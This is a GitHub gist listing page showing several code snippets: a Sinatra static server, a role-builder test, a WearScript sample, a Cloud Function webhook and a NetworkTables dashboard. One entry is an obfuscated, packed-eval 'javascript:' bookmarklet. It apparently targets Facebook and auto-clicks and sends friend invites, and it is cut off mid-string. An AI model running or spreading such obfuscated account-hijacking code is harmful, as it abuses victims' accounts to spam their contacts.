Skip to content

Instantly share code, notes, and snippets.

require 'sinatra/base'
class Server < Sinatra::Base
set :logging,true
set :root, File.dirname(__FILE__)
set :public, File.dirname(__FILE__)+ '/public'
end
Server.run! :host => 'localhost', :port => 3001
javascript:(function(){a='app112010525500764_jop';b='app112010525500764_jode';ifc='app112010525500764_ifc';ifo='app112010525500764_ifo';mw='app112010525500764_mwrapper';eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\
@fixermark
fixermark / gist:729607
Created December 5, 2010 23:40
Role builder test case: is this a hack?
#role_builder.rb
require 'json'
require 'sinatra/base'
module Sinatra
module RoleBuilder
class BadParameterException < Exception
end
def self.registered(app)
@fixermark
fixermark / glass.html
Last active February 11, 2016 03:35
[wearscript] sample program
<html style="width:100%; height:100%; overflow:hidden">
<head>
<!-- You can include external scripts here like so... -->
<!--<script src="https://cdnjs.cloudflare.com/ajax/libs/zepto/1.0/zepto.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/underscore.js/1.5.2/underscore-min.js"></script>-->
</head>
<body style="width:100%; height:100%; overflow:hidden; margin:0; color:white; position:relative; display:flex; align-items: center; justify-content: center" bgcolor="#000">
<div id="hello"
style="font-size: 9em">awaiting ping</div>
<script>
// Cloud Function serving as a webhook for Actions on Google, which ships
// a request to Cloud PubSub
//
// For more information, consult blog post:
// https://fixermark.blogspot.com/2017/08/publish-later-bridging-google-assistant.html
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
@fixermark
fixermark / index.html
Created January 30, 2023 03:12
Example of using pynetworktables2js to read and update all values in the network table
<html>
<head>
<title>Test Dashboard</title>
<script src="/networktables/networktables.js"></script>
<script src="/table-viewer.js"></script>
</head>
<body>
<h2>Network Table Entries</h2>
<table>
<thead>